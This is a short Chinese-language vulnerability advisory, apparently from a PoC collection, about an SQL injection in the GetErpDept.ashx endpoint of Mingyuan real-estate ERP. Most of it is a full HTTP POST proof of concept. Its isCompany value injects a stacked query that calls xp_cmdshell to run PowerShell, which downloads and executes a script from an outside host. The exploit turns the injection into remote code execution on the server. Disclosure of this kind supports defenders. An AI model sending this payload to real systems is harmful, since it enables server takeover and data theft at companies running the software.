明源地产ERP GetErpDept 接口存在SQL注入

日期: 2023-10-07 | 影响软件: 明源地产ERP | POC: 已公开

漏洞描述

明源云ERP是一款由明源云科技有限公司开发的企业管理软件。明源云ERP产品旨在帮助企业实现数字化、智能化的管理,提高企业运营效率和核心竞争力。其中 GetErpDept 接口存在SQL注入漏洞,可导致系统敏感信息泄露。

PoC代码

POST /XmjdUI/Handle/GetErpDept.ashx HTTP/1.1
Host: 
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Length: 132
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (ZZ; Linux i686; rv:123.0) Gecko/20100101 Firefox/123.0

isCompany=');exec master..xp_cmdshell "sqlps IEX ((new-object net.webclient).downloadstring('http://[REDACTED]/ikAXH'))"--

相关漏洞推荐